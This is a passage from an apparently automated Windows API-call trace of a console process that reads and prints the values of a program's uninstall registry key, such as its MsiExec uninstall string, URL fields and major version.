cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.353] GetConsoleOutputCP () returned 0x1b5 [0147.353] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0147.353] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.353] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.353] __iob_func () returned 0x7fefd702a80 [0147.353] _fileno (_File=0x7fefd702ab0) returned 1 [0147.353] _errno () returned 0xc4bb0 [0147.353] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.353] _errno () returned 0xc4bb0 [0147.353] GetFileType (hFile=0x50) returned 0x1 [0147.353] lstrlenW (lpString=" ") returned 4 [0147.354] GetConsoleOutputCP () returned 0x1b5 [0147.354] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.354] GetConsoleOutputCP () returned 0x1b5 [0147.354] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.354] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.354] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.354] __iob_func () returned 0x7fefd702a80 [0147.354] _fileno (_File=0x7fefd702ab0) returned 1 [0147.354] _errno () returned 0xc4bb0 [0147.354] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.354] _errno () returned 0xc4bb0 [0147.354] GetFileType (hFile=0x50) returned 0x1 [0147.354] lstrlenW (lpString="MsiExec.exe /X{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}") returned 52 [0147.354] GetConsoleOutputCP () returned 0x1b5 [0147.354] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0147.354] GetConsoleOutputCP () returned 0x1b5 [0147.354] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}", cchWideChar=52, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}", lpUsedDefaultChar=0x0) returned 52 [0147.354] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0147.354] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.355] __iob_func () returned 0x7fefd702a80 [0147.355] _fileno (_File=0x7fefd702ab0) returned 1 [0147.355] _errno () returned 0xc4bb0 [0147.355] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.355] _errno () returned 0xc4bb0 [0147.355] GetFileType (hFile=0x50) returned 0x1 [0147.355] lstrlenW (lpString="\n") returned 1 [0147.355] GetConsoleOutputCP () returned 0x1b5 [0147.355] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.355] GetConsoleOutputCP () returned 0x1b5 [0147.355] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.355] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.355] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.355] GetProcessHeap () returned 0x2e0000 [0147.355] GetProcessHeap () returned 0x2e0000 [0147.355] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.355] GetProcessHeap () returned 0x2e0000 [0147.355] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.355] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0 | out: hHeap=0x2e0000) returned 1 [0147.355] RegEnumValueW (in: hKey=0x5c, dwIndex=0x11, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLInfoAbout", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.355] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.355] GetProcessHeap () returned 0x2e0000 [0147.355] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.355] GetProcessHeap () returned 0x2e0000 [0147.355] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.355] GetProcessHeap () returned 0x2e0000 [0147.355] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.356] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.356] __iob_func () returned 0x7fefd702a80 [0147.356] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.356] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.356] _fileno (_File=0x7fefd702ab0) returned 1 [0147.356] _errno () returned 0xc4bb0 [0147.356] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.356] _errno () returned 0xc4bb0 [0147.356] GetFileType (hFile=0x50) returned 0x1 [0147.356] lstrlenW (lpString=" ") returned 4 [0147.356] GetConsoleOutputCP () returned 0x1b5 [0147.356] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.356] GetConsoleOutputCP () returned 0x1b5 [0147.356] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.356] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.356] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.356] lstrlenW (lpString="URLInfoAbout") returned 12 [0147.356] __iob_func () returned 0x7fefd702a80 [0147.356] _fileno (_File=0x7fefd702ab0) returned 1 [0147.356] _errno () returned 0xc4bb0 [0147.356] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.356] _errno () returned 0xc4bb0 [0147.356] GetFileType (hFile=0x50) returned 0x1 [0147.356] lstrlenW (lpString="URLInfoAbout") returned 12 [0147.356] GetConsoleOutputCP () returned 0x1b5 [0147.357] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0147.357] GetConsoleOutputCP () returned 0x1b5 [0147.357] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLInfoAbout", lpUsedDefaultChar=0x0) returned 12 [0147.357] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0147.357] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.357] __iob_func () returned 0x7fefd702a80 [0147.357] _fileno (_File=0x7fefd702ab0) returned 1 [0147.357] _errno () returned 0xc4bb0 [0147.357] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.357] _errno () returned 0xc4bb0 [0147.357] GetFileType (hFile=0x50) returned 0x1 [0147.357] lstrlenW (lpString=" ") returned 4 [0147.357] GetConsoleOutputCP () returned 0x1b5 [0147.357] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.357] GetConsoleOutputCP () returned 0x1b5 [0147.357] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.357] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.357] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.357] __iob_func () returned 0x7fefd702a80 [0147.357] _fileno (_File=0x7fefd702ab0) returned 1 [0147.358] _errno () returned 0xc4bb0 [0147.358] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.358] _errno () returned 0xc4bb0 [0147.358] GetFileType (hFile=0x50) returned 0x1 [0147.358] lstrlenW (lpString="REG_SZ") returned 6 [0147.358] GetConsoleOutputCP () returned 0x1b5 [0147.358] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.358] GetConsoleOutputCP () returned 0x1b5 [0147.358] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.358] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.358] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.358] __iob_func () returned 0x7fefd702a80 [0147.358] _fileno (_File=0x7fefd702ab0) returned 1 [0147.358] _errno () returned 0xc4bb0 [0147.358] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.358] _errno () returned 0xc4bb0 [0147.358] GetFileType (hFile=0x50) returned 0x1 [0147.358] lstrlenW (lpString=" ") returned 4 [0147.358] GetConsoleOutputCP () returned 0x1b5 [0147.358] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.358] GetConsoleOutputCP () returned 0x1b5 [0147.359] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.359] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.359] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.359] __iob_func () returned 0x7fefd702a80 [0147.359] _fileno (_File=0x7fefd702ab0) returned 1 [0147.359] _errno () returned 0xc4bb0 [0147.359] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.359] _errno () returned 0xc4bb0 [0147.359] GetFileType (hFile=0x50) returned 0x1 [0147.359] lstrlenW (lpString="") returned 0 [0147.359] __iob_func () returned 0x7fefd702a80 [0147.359] _fileno (_File=0x7fefd702ab0) returned 1 [0147.359] _errno () returned 0xc4bb0 [0147.359] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.359] _errno () returned 0xc4bb0 [0147.359] GetFileType (hFile=0x50) returned 0x1 [0147.359] lstrlenW (lpString="\n") returned 1 [0147.359] GetConsoleOutputCP () returned 0x1b5 [0147.359] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.359] GetConsoleOutputCP () returned 0x1b5 [0147.359] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.359] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.359] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.359] GetProcessHeap () returned 0x2e0000 [0147.359] GetProcessHeap () returned 0x2e0000 [0147.359] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.359] GetProcessHeap () returned 0x2e0000 [0147.360] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.360] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.360] RegEnumValueW (in: hKey=0x5c, dwIndex=0x12, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLUpdateInfo", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.360] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.360] GetProcessHeap () returned 0x2e0000 [0147.360] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.360] GetProcessHeap () returned 0x2e0000 [0147.360] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.360] GetProcessHeap () returned 0x2e0000 [0147.360] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.360] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.360] __iob_func () returned 0x7fefd702a80 [0147.360] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.360] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.360] _fileno (_File=0x7fefd702ab0) returned 1 [0147.360] _errno () returned 0xc4bb0 [0147.360] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.360] _errno () returned 0xc4bb0 [0147.360] GetFileType (hFile=0x50) returned 0x1 [0147.360] lstrlenW (lpString=" ") returned 4 [0147.360] GetConsoleOutputCP () returned 0x1b5 [0147.360] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.360] GetConsoleOutputCP () returned 0x1b5 [0147.360] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.360] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.360] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.361] lstrlenW (lpString="URLUpdateInfo") returned 13 [0147.361] __iob_func () returned 0x7fefd702a80 [0147.361] _fileno (_File=0x7fefd702ab0) returned 1 [0147.361] _errno () returned 0xc4bb0 [0147.361] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.361] _errno () returned 0xc4bb0 [0147.361] GetFileType (hFile=0x50) returned 0x1 [0147.361] lstrlenW (lpString="URLUpdateInfo") returned 13 [0147.361] GetConsoleOutputCP () returned 0x1b5 [0147.361] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.361] GetConsoleOutputCP () returned 0x1b5 [0147.361] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLUpdateInfo", lpUsedDefaultChar=0x0) returned 13 [0147.361] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.361] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.361] __iob_func () returned 0x7fefd702a80 [0147.361] _fileno (_File=0x7fefd702ab0) returned 1 [0147.361] _errno () returned 0xc4bb0 [0147.361] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.361] _errno () returned 0xc4bb0 [0147.361] GetFileType (hFile=0x50) returned 0x1 [0147.361] lstrlenW (lpString=" ") returned 4 [0147.361] GetConsoleOutputCP () returned 0x1b5 [0147.362] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.362] GetConsoleOutputCP () returned 0x1b5 [0147.362] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.362] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.362] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.362] __iob_func () returned 0x7fefd702a80 [0147.362] _fileno (_File=0x7fefd702ab0) returned 1 [0147.362] _errno () returned 0xc4bb0 [0147.362] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.362] _errno () returned 0xc4bb0 [0147.362] GetFileType (hFile=0x50) returned 0x1 [0147.362] lstrlenW (lpString="REG_SZ") returned 6 [0147.362] GetConsoleOutputCP () returned 0x1b5 [0147.362] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.362] GetConsoleOutputCP () returned 0x1b5 [0147.362] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.362] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.362] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.362] __iob_func () returned 0x7fefd702a80 [0147.362] _fileno (_File=0x7fefd702ab0) returned 1 [0147.362] _errno () returned 0xc4bb0 [0147.362] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.362] _errno () returned 0xc4bb0 [0147.363] GetFileType (hFile=0x50) returned 0x1 [0147.363] lstrlenW (lpString=" ") returned 4 [0147.363] GetConsoleOutputCP () returned 0x1b5 [0147.363] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.363] GetConsoleOutputCP () returned 0x1b5 [0147.363] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.363] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.363] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.363] __iob_func () returned 0x7fefd702a80 [0147.363] _fileno (_File=0x7fefd702ab0) returned 1 [0147.363] _errno () returned 0xc4bb0 [0147.363] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.363] _errno () returned 0xc4bb0 [0147.363] GetFileType (hFile=0x50) returned 0x1 [0147.363] lstrlenW (lpString="") returned 0 [0147.363] __iob_func () returned 0x7fefd702a80 [0147.363] _fileno (_File=0x7fefd702ab0) returned 1 [0147.363] _errno () returned 0xc4bb0 [0147.363] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.363] _errno () returned 0xc4bb0 [0147.363] GetFileType (hFile=0x50) returned 0x1 [0147.363] lstrlenW (lpString="\n") returned 1 [0147.363] GetConsoleOutputCP () returned 0x1b5 [0147.363] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.364] GetConsoleOutputCP () returned 0x1b5 [0147.364] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.364] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.364] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.364] GetProcessHeap () returned 0x2e0000 [0147.364] GetProcessHeap () returned 0x2e0000 [0147.364] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.364] GetProcessHeap () returned 0x2e0000 [0147.364] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.364] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.364] RegEnumValueW (in: hKey=0x5c, dwIndex=0x13, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMajor", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.364] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.364] GetProcessHeap () returned 0x2e0000 [0147.364] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.364] GetProcessHeap () returned 0x2e0000 [0147.364] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.364] GetProcessHeap () returned 0x2e0000 [0147.364] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.364] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x9, pcbData=0x23f670*=0x4) returned 0x0 [0147.364] __iob_func () returned 0x7fefd702a80 [0147.364] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.364] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.364] _fileno (_File=0x7fefd702ab0) returned 1 [0147.364] _errno () returned 0xc4bb0 [0147.364] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.364] _errno () returned 0xc4bb0 [0147.364] GetFileType (hFile=0x50) returned 0x1 [0147.364] lstrlenW (lpString=" ") returned 4 [0147.364] GetConsoleOutputCP () returned 0x1b5 [0147.365] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.365] GetConsoleOutputCP () returned 0x1b5 [0147.365] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.365] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.365] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.365] lstrlenW (lpString="VersionMajor") returned 12 [0147.365] __iob_func () returned 0x7fefd702a80 [0147.365] _fileno (_File=0x7fefd702ab0) returned 1 [0147.365] _errno () returned 0xc4bb0 [0147.365] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.365] _errno () returned 0xc4bb0 [0147.365] GetFileType (hFile=0x50) returned 0x1 [0147.365] lstrlenW (lpString="VersionMajor") returned 12 [0147.366] GetConsoleOutputCP () returned 0x1b5 [0147.366] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", 